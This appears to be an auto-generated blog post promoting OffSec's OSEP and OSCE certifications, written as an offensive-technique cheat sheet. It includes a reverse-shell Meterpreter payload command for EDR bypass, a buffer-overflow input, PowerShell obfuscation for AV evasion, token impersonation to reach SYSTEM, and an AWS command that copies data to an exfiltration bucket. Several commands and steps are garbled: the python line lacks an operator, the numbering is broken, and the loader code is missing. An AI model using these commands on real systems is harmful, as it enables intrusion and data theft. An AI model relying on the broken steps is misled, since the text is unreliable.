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Introduction:
Offensive Security’s OSEP (Offensive Security Experienced Penetration Tester) and OSCE (Offensive Security Certified Expert) certifications are among the most respected credentials in cybersecurity. These programs focus on real-world exploitation, advanced penetration testing, and evasion techniques, equipping professionals with hands-on skills to bypass modern defenses.
Learning Objectives:
- Understand the core methodologies tested in OSEP and OSCE.
- Learn key evasion techniques for bypassing EDR and AV solutions.
- Master advanced exploitation using custom shellcode and payload crafting.
You Should Know:
1. Bypassing EDR with Custom Shellcode
Command:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw -o payload.bin
Step-by-Step Guide:
1. Generate a raw Meterpreter payload using `msfvenom`.
- Use a custom loader (written in C/C++) to inject the shellcode into memory.
3. Compile with:
gcc -o loader loader.c -lws2_32
4. Execute the loader to evade signature-based detection.
2. Exploiting Stack-Based Buffer Overflows
Command:
python -c "print('A' 500 + '\x90\x90\x90\x90' + '\x41\x42\x43\x44')"
Step-by-Step Guide:
- Fuzz the target application to identify the crash offset.
- Overwrite EIP with a controlled address (e.g., JMP ESP).
- Place shellcode in the NOP sled for execution.
3. AV Evasion with Obfuscation
Command (PowerShell):
Invoke-Obfuscation -ScriptBlock { Start-Process notepad.exe } -Command 'Token\All\1'
Step-by-Step Guide:
1. Use `Invoke-Obfuscation` to randomize PowerShell cmdlets.
2. Test the obfuscated script against Windows Defender.
- Deploy in engagements where PowerShell logging is enabled.
4. Privilege Escalation via Token Impersonation
Command (Windows):
incognito.exe list_tokens -u
Step-by-Step Guide:
1. Enumerate available tokens with Incognito.
2. Impersonate a high-privilege token:
incognito.exe execute -c "DOMAIN\Admin" cmd.exe
3. Gain SYSTEM-level access.
5. Cloud Post-Exploitation with AWS CLI
Command:
aws sts get-caller-identity --profile compromised
Step-by-Step Guide:
1. Extract credentials from a compromised instance.
2. Enumerate IAM roles and S3 buckets.
3. Exfiltrate data using:
aws s3 cp sensitive.txt s3://exfil-bucket/
What Undercode Say:
- Key Takeaway 1: OSEP and OSCE demand deep understanding of offensive techniques, not just tool usage.
- Key Takeaway 2: Real-world attacks require bypassing modern defenses like EDR and cloud monitoring.
Analysis:
These certifications validate skills in advanced adversarial tactics, making them invaluable for red teams. As defenses evolve, Offensive Security’s focus on practical, scenario-based training ensures professionals stay ahead. Expect future updates to include AI-driven detection evasion and more cloud-focused attacks.
Prediction:
With increasing adoption of AI in cybersecurity, future OSEP/OSCE exams may incorporate machine learning-powered attack simulations, challenging testers to adapt to next-gen defensive systems.
IT/Security Reporter URL:
Reported By: Khaled Essa – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


